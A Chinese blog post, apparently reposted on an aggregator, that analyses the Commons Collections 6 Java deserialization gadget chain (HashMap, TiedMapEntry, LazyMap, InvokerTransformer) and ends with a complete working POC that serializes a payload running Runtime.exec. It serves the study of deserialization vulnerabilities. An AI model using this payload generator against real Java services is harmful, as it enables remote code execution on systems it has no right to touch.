CommonsCollections6利用链分析
创始人
2024-02-24 07:35:21

目录

(一)利用链

(二)代码分析

0x01 TiedMapEntry

0x02 HashMap

(三)POC:


(一)利用链


先来看 ysoserial 中的利用链:

/*Gadget chain:java.io.ObjectInputStream.readObject()java.util.HashSet.readObject()java.util.HashMap.put()java.util.HashMap.hash()org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()org.apache.commons.collections.map.LazyMap.get()org.apache.commons.collections.functors.ChainedTransformer.transform()org.apache.commons.collections.functors.InvokerTransformer.transform()java.lang.reflect.Method.invoke()java.lang.Runtime.exec()by @matthias_kaiser
*/

CommonsCollections1利用链分析_jinyouxin的博客-CSDN博客

可以看到,CC6链从LazyMap类开始的后半部分和CC1链是相同的,只是前面没有使用AnnotationInvocationHandler类readObject()的作为反序列化的入口了,从而解决了在java 8u71 版本之后无法使用CC1链的问题。CC6链的前半部分和URLDNS链比较像,都是利用了HashMap类在计算hash值时调用 key.hashCode()的方式,进入到 TiedMapEntry.getValue()方法,再到LazyMap.get()的。

(二)代码分析


 

从上面的调用链我们不难分析出,cc6链和cc1链在ChainedTransform中的 x.transform()的调用出现了不一致,在LazyMap.get()中正好触发了此方法,

0x01 TiedMapEntry


首先我们从 LazyMap.get() 这里开始向上找,希望找到一个调用了 Map.get() 方法的函数,这里的Map需要可控。我们找到的类是 org.apache.commons.collections.keyvalue.TiedMapEntry ,在其getValue()⽅法中调⽤了 this.map.get() ,⽽其 hashCode()⽅法调⽤了getValue()⽅法:

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {private static final long serialVersionUID = -8453869361373831205L;private final Map map;private final Object key;public TiedMapEntry(Map map, Object key) {super();this.map = map;this.key = key;}// ...public Object getValue() {return map.get(key);}// ...public int hashCode() {Object value = getValue();return (getKey() == null ? 0 : getKey().hashCode()) ^(value == null ? 0 : value.hashCode()); }// ...
}

0x02 HashMap


所以我们需要接着找能够调用 TiedMapEntry.hashCode() 的方法,这时候就想起上午刚总结的URLDNS链是通过HashMap在反序列化时候其 readObject()函数会循环每一个键值对放入到HashMap中,而在放入每一个键值对的时候会计算key(hash)值,触发key.hashCode()方法:

URLDNS利用链分析_jinyouxin的博客-CSDN博客

private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// ...// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}
}

这里跟进12行的hash(key)值:

static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

可以看到第三行 key 不为空的时候就会去调用用 key.hashCode(),这时候我们只需要把 key 设置为构造好的 TiedMapEntry 对象就可以实现任意代码执行了。

  • 由上面分析思路,可以写出如下POC:
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[] { String.class, Class[].class },new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke",new Class[] { Object.class, Object[].class },new Object[]{ null, new Object[0]} ),new InvokerTransformer("exec",new Class[] { String.class },new String[] { "calc" }),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");

(三)POC:


注意由于hashMap在序列化的时候就会自动触发hashCode,所以我们要通过反射机制进行处理,如下代码:

// 将真正的transformers数组设置进来
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain,transformers);

但是此时测试就会发现,反序列化的时候并不会触发这条链,这是怎么回事呢?这里还是跟24行的 expMap.put(tme, "valuevalue")有关。我们先来调试一下,在 expMap.put(tme, "valuevalue"); 打下断点:

图 3-1 HashMap()中的put方法调试

  •  步入,跟着我们构造好的整条利用链去调:
expMap.put(tme, "valuevalue") ==> TiedMapEntry.hashCode() ==> TiedMapEntry.getValue() ==> LazyMap.get(key);
图 3-2 map中的get()对key值进行判断

 

到了LazyMap.get(key); 这一步的时候,这里有一个判断,我们传入的map,也就是上面的innerMap中是否有这个 key存在,此时这个innerMap里面啥都没放呢,那肯定是没有的,因此就会进入到循环中:先触发一次 factory.transform(key),这里的 factory 也就是构造LazyMap时候传入的Transformer,从而先触发一次利用链,这里就是上面使用fakeTransformer 的根源;然后再到 map.put(key,value),这里会把我们传入的key(示例的值是keykey)放到innerMap中,导致了反序列化再碰到这个if 判断的时候会判断这个map里面是有这个key存在的,因此就不会执行到里面的 factory.transform(key) ,进而无法触发利用链。

/*Gadget chain:java.io.ObjectInputStream.readObject()java.util.HashMap.readObject()java.util.HashMap.hash()org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()org.apache.commons.collections.map.LazyMap.get()org.apache.commons.collections.functors.ChainedTransformer.transform()org.apache.commons.collections.functors.InvokerTransformer.transform()java.lang.reflect.Method.invoke()java.lang.Runtime.exec()
*/import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC6 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[] { String.class, Class[].class },new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke",new Class[] { Object.class, Object[].class },new Object[]{ null, new Object[0]} ),new InvokerTransformer("exec",new Class[] { String.class },new String[] { "calc" }),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");innerMap.remove("keykey");
//        System.out.println(outerMap.isEmpty());// ==============// 将真正的transformers数组设置进来Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain,transformers);// ==============// 生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oss = new ObjectOutputStream(barr);oss.writeObject(expMap);oss.close();// 本地测试触发System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object) ois.readObject();}
}

利用过程在原理部分和代码分析部分分别简略和详细地分析了一遍,这里不再赘述了。

相关内容

热门资讯

埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
世界上最漂亮的人 世界上最漂亮... 此前在某网上,选出了全球265万颜值姣好的女性。从这些数量庞大的女性群体中,人们投票选出了心目中最美...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接:一个人的旅行,据说能看到长白山天池全凭运气,您的运气如何?今日介绍...
应用未安装解决办法 平板应用未... ---IT小技术,每天Get一个小技能!一、前言描述苹果IPad2居然不能安装怎么办?与此IPad不...
demo什么意思 demo版本... 618快到了,各位的小金库大概也在准备开闸放水了吧。没有小金库的,也该向老婆撒娇卖萌服个软了,一切只...
猫咪吃了塑料袋怎么办 猫咪误食... 你知道吗?塑料袋放久了会长猫哦!要说猫咪对塑料袋的喜爱程度完完全全可以媲美纸箱家里只要一有塑料袋的响...
埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
应用未安装解决办法 平板应用未... ---IT小技术,每天Get一个小技能!一、前言描述苹果IPad2居然不能安装怎么办?与此IPad不...
脚上的穴位图 脚面经络图对应的... 人体穴位作用图解大全更清晰直观的标注了各个人体穴位的作用,包括头部穴位图、胸部穴位图、背部穴位图、胳...